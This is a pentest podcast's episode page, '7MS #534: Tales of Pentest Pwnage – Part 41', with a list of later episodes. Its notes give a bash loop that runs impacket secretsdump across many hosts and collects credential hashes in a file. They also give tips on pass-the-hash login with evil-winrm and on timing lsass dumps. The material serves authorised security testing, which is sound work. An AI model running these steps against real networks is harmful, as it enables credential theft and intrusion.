7MS #534: Tales of Pentest Pwnage - Part 41

7MS #534: Tales of Pentest Pwnage - Part 41

Hey friends, today we share the (hopefully) thrilling conclusion of last week's pentest. Here are some key points:

  • If you find you have local admin on a bunch of privileges and want to quickly loop through a secretsdump of ALL systems and save the output to a text file, this little hacky script will do it!
#!/bin/bash File="localadmin.txt" Lines=$(cat $File) for Line in $Lines do echo --- $Line --- >> dump.txt echo --------------------- >> dump.txt sudo python3 /opt/impacket/examples/secretsdump.py -k "$Line" >> dump.txt echo --------------------- >> dump.txt done

From those dumps you can definitely try to crack the DCC hashes using a local or cloud cracker - see our series on this topic for some guidance.

  • Got an NTLM hash for a privileged user and want to PS remote into a victim system? You can essentially do a PowerShell login pass-the-hash with evil-winrm!

  • The Brute Ratel crisis monitor is awesome for watching a box and monitoring for people logging in and out of it (perfect for getting ready to strike with lsass dumps!)

Jaksot(710)

7MS #710: I'm Taking a Break

7MS #710: I'm Taking a Break

Hi friends, I'm going to be taking a break from producing podcast episodes, as well as content over at 7MinSec.club.  It's a temporary break, so please don't unsubscribe, unfollow, etc.  I need some e...

17 Tammi 4min

7MS #709: Second Impressions of Twingate

7MS #709: Second Impressions of Twingate

Hey friends, in episode #649 I gave you my first impressions of Twingate.  It's been a minute, so I thought I'd revisit Twingate (specifically this awesome Twingate LXC) and talk about how we're using...

10 Tammi 20min

7MS #708: Tales of Pentest Fail – Part 6

7MS #708: Tales of Pentest Fail – Part 6

After sharing a recent story about how a phishing campaign went south, I heard feedback from a lot of you.  You either commiserated with my story, told me I wussed out, and/or had a difficult story of...

2 Tammi 25min

7MS #707: Our New Pentest Course Has Launched!

7MS #707: Our New Pentest Course Has Launched!

Today we're thrilled to announce the launch of LPLITE:GOAD (Light Pentest Live Interactive Training Experience: Game of Active Directory). The first class is coming up Tuesday, January 27 – Thursday, ...

26 Joulu 202514min

7MS #706: Tales of Pentest Pwnage – Part 80

7MS #706: Tales of Pentest Pwnage – Part 80

I'm so excited to share today's tale of pentest pwnage, because it brings back to life a coercion technique I thought wouldn't work against Windows 11! Spoiler alert: check out rpc2efs, as well as the...

19 Joulu 202529min

7MS #705: A Phishing Campaign Fail Tale

7MS #705: A Phishing Campaign Fail Tale

This might be obvious, but security is not all domain admin dancing and maximum pwnage. Sometimes, despite my best efforts, a security project does a faceplant. Today's episode focuses on a phishing c...

12 Joulu 202521min

7MS #704: DIY Pentest Dropbox Tips – Part 12

7MS #704: DIY Pentest Dropbox Tips – Part 12

Hola friends!  My week has very much been about trying to turnaround pentest dropboxes as quickly as possible.  In that adventure, I came across two time-saving discoveries: Using a Proxmox LXC as a ...

5 Joulu 202524min

7MS #703: Tales of Pentest Pwnage – Part 79

7MS #703: Tales of Pentest Pwnage – Part 79

Happy Thanksgiving week friends! Today we're celebrating a turkey and pie overload by sharing another fun tale of pentest pwnage! It involves using pygpoabuse to hijack a GPO and turn it into our pent...

28 Marras 202522min

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